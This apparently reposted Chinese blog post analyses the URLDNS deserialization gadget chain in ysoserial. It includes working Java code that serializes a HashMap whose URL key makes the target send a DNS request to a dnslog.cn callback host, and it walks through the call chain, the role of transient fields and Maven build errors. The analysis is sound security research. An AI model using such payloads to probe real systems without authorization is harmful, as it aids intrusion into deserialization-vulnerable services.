ysoserial的URLDNS是最简单的一条链
自写的代码如下:
package ysotest;
import ysoserial.payloads.util.Reflections;
import java.io.*;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class URLDNStest {
public static void main(String[] args) throws Exception {
//URLStreamHandler为抽象类,无法直接实例化,需要实现抽象方法
URLStreamHandler handler = new URLStreamHandler()
//序列化,这是可以的
// {
// @Override
// protected URLConnection openConnection(URL u) throws IOException {
// return null;
// }
// };
//序列化,这是不可以的
{
protected URLConnection openConnection(URL u) {
return null;
}
protected synchronized InetAddress getHostAddress(URL u){
return null;
}
};
HashMap hm = new HashMap();
URL url = new URL(null,"http://2.t5fuid.dnslog.cn",handler);
hm.put(url,url);
Reflections.setFieldValue(url,"hashCode",-1);
//下面两行是序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("url"));
oos.writeObject(hm);
//下面两行是反序列化,重写getHostAddress方法为null后还是可以发出请求的
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("url"));
HashMap hm1 = (HashMap)ois.readObject();
}
}
这里注意的是
例化抽象类URLStreamHandler,需实现抽象类的抽象方法,即openConnection方法
0x01 URLDNS分析
这里主要看反序列化的操作,反序列化ois.readObject()
为了看得更形象点,这里直接用HashMap实例化一个对象去得到反序列化对象
进入HashMap#readObject
跟进1413行的hash()方法
判断hashCode的值
如果不等于-1就直接返回hashCode,否则,进入hashCode计算,跟进
359行调用getHostAddress()方法,跟进
442行调用getByName(host)方法,这里就是URLDNS的关键代码,发出DNS请求
另外,这里的InetAddress类是实现了Serializable反序列化接口的
利用链如下:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
InetAddress.getByName()
0x02 这里着重对ysoserial源码的重写getHostAddress方法分析
1.对ysoserial的源码进行更改,mvn打包生成两个jar进行测试
81-83行进行了注释,即如果生成序列化数据,不再进入重写的方法,而是进入URLStreamHandler类的getHostAddress方法
①原版ysoserial生成URLDNS序列化数据:
DNS平台并无数据
②修改版本的ysoserial生成URLDNS序列化数据:
DNS平台接受到了请求,很显然,原作者对getHostAddress方法的重写,是做到了防止URLDNS类序列化时产生DNS查询从而影响到反序列化gadget的判断,正如原作者的注释所说(53行)
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
该java.net.URL.handler为transient属性(221行)
我们知道,当transient修饰时,是不会进行序列化的
只有反序列化的时候,handler变成了初始值(URLStreamHandler的对象),从而触发了URLStreamHandler中的getHostAddress方法,进行了DNS查询
hm为序列化的HashMap对象,hm1为反序列化后HashMap的对象
两者key的handler类型不同,值也不同(本类的handler[创建URL时指定了Handler,则使用该Handler]以及反序列化初始handler)
2.对ysoserial源码直接进行修改调试
直接导入srcmainjavaysoserialpayloadsURLDNS.java,在main方法里加入:
args = new String[]{"http://jqbq7f.dnslog.cn"};
传入一个记录DNS的地址
由于PayloadRunner.run是既具有序列化和反序列化的,所以我们将反序列化代码进行注释:(39行)
和方法1一样,对源码里的重写getHostAddress方法进行注释,分别运行:
①未注释:
DNS平台接收不到请求
②注释:
DNS平台接收到请求
0x03 transient修饰词
这里以代码举例:
package ysotest;
import java.io.*;
import java.net.URLStreamHandler;
class User implements Serializable {
private static final long serialVersionUID = 123456L;
private transient int age;
private String name;
public static long getSerialVersionUID() {
return serialVersionUID;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String toString() {
return "User{" +
"age=" + age +
", name='" + name + ''' +
'}';
}
}
public class urltest{
public static void main(String[] args) throws IOException, ClassNotFoundException {
SerializeUser();
DeSerializeUser();
}
//序列化
private static void SerializeUser() throws IOException {
User user = new User();
user.setName("only Security");
user.setAge(18);
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("./onse.ser"));
os.writeObject(user);
os.close();
System.out.println("添加了transient关键字序列化:age= " + user.getAge());
}
//反序列化
private static void DeSerializeUser() throws IOException, ClassNotFoundException {
File file = new File("./onse.ser");
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
User newUser = (User)ois.readObject();
System.out.println("添加了transient关键字反序列化:age= " + newUser.getAge());
}
}
序列化之前的对象:
是一个完整的对象,age+name
反序列化生成的对象:
不完整对象,age变成了0(int型)
0x04 打包ysoserial出现的错误
错误1
百度说是jdk版本问题,mvn -v查看mvn的版本以及相关信息等:
这里jdk版本是8,满足ysoserial的打包条件(jdk7+;Maven 3.x+),所以这里可能是其他原因
在pom.xml加入以下依赖
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.2</version>
</dependency>
错误2
Failed to execute goal org.apache.maven.plugins:maven-surefire-plugin:2.20:test (default-test) on project ysoserial: There are test failures.
在pom.xml中的build加入以下依赖
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
<skipTests>true</skipTests>
</configuration>
</plugin>
0x05 参考文章
https://github.com/frohoff/ysoserial
https://blog.csdn.net/yangguosb/article/details/80759554
https://paper.seebug.org/1242/
https://www.redhatzone.com/ask/article/1505.html
https://baijiahao.baidu.com/s?id=1636557218432721275&wfr=spider&for=pc
原文始发于微信公众号(only security):ysoserial中的URLDNS分析
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论